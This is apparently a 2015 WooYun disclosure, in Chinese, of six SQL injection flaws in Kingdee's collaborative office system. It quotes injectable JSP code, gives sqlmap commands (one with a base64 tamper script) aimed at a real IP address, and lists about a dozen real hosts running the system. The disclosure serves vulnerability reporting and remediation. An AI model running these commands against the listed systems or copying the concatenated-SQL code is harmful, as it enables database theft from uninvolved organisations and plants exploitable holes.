当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133470

漏洞标题:金蝶协作办公系统存在六个SQL注射漏洞

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2015-08-12 17:10

修复时间:2015-11-10 17:48

公开时间:2015-11-10 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-12: 细节已通知厂商并且等待厂商处理中
2015-08-12: 厂商已经确认,细节仅向厂商公开
2015-08-15: 细节向第三方安全合作伙伴开放
2015-10-06: 细节向核心白帽子及相关领域专家公开
2015-10-16: 细节向普通白帽子公开
2015-10-26: 细节向实习白帽子公开
2015-11-10: 细节向公众公开

简要描述:

金蝶协作办公系统存在六个SQL注射漏洞,影响很多大型企业

详细说明:

存在漏洞的文件为

/kingdee/flow_performance/add_search_case.jsp?name=1 name存在漏洞
/kingdee/flow_performance/add_view_case.jsp?name=1 name存在漏洞
/kingdee/flow_performance/del_search_case.jsp?id=1 id存在漏洞
/kingdee/flow_performance/del_view_case.jsp?id=1 id存在漏洞
/kingdee/flow_performance/flow_performance_data.jsp?search_case=1 search_case存在漏洞
/kingdee/flow_performance/flow_performance_display.jsp?user_id=1 user_id存在漏洞


选取部分漏洞,做漏洞证明
0x1 /kingdee/flow_performance/add_search_case.jsp 漏洞部分代码如下

<%
String name = PubFunc.toString(request.getParameter("name"));
name = sysUtil.pubUtil.CharBase64.Decode(name);
String search_value = PubFunc.toString(request.getParameter("search_value"));
search_value = sysUtil.pubUtil.CharBase64.Decode(search_value);
TableCtrl db = new TableCtrl();
if(db.getRowCount("select * from x_flow_performance_search_case where name='"+name+"'")>0){
out.println("ERR1");
return;
}


sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/add_search_case.jsp?name=1" --tamper "base64encode.py"


1.png


0x2 /kingdee/flow_performance/add_view_case.jsp 部分漏洞代码为

<%
String id = PubFunc.toString(request.getParameter("id"));
String name = PubFunc.toString(request.getParameter("name"));
name = sysUtil.pubUtil.CharBase64.Decode(name);
TableCtrl db = new TableCtrl();
if(id.length()>0){
if(db.getRowCount("select * from x_flow_performance_view_case where name='"+name+"' and id <>" + id)>0){
out.println("ERR2");
return;
}
}


sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/add_view_case.jsp?name=1" --tamper "base64encode.py"


2.png


0x3 /kingdee/flow_performance/del_search_case.jsp?id=1 部分漏洞代码为

<%@ page contentType="text/html; charset=gbk" import="pub.*"%>
<%
String id = PubFunc.toString(request.getParameter("id"));
TableCtrl db = new TableCtrl();
if(db.getRowCount("select * from x_flow_performance_view_case where search_case="+id)>0){
out.println("ERR1");
return;
}
int result = db.exec("delete from x_flow_performance_search_case where id="+id);
if(result < 1)
out.println("ERR");
else
out.println("OK|"+id);
%>


sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/del_search_case.jsp?id=1"

3.png


0x4 /kingdee/flow_performance/flow_performance_data.jsp 部分漏洞代码为

String issearch = PubFunc.toString(request.getParameter("issearch"));
String search_case = PubFunc.toString(request.getParameter("search_case"));
TableCtrl db = new TableCtrl();
if(!search_case.equals("")){
String search_value = PubFunc.toString(db.getFieldValue("x_flow_performance_search_case","top 1 search_value","id="+search_case));


sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/flow_performance_data.jsp?search_case=1" --dbms mssql


5.png


其他漏洞类似,这里不再一一证明,给出几个案例:

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp

漏洞证明:

这些漏洞均可以直接用SQLMAP跑出数据,数据截图

sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/flow_performance_display.jsp?user_id=1" --dbs


da.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-12 17:46

厂商回复:

谢谢对金蝶的关注,此产品为合作伙伴产品,我们已通知相关部门为客户修复。

最新状态:

暂无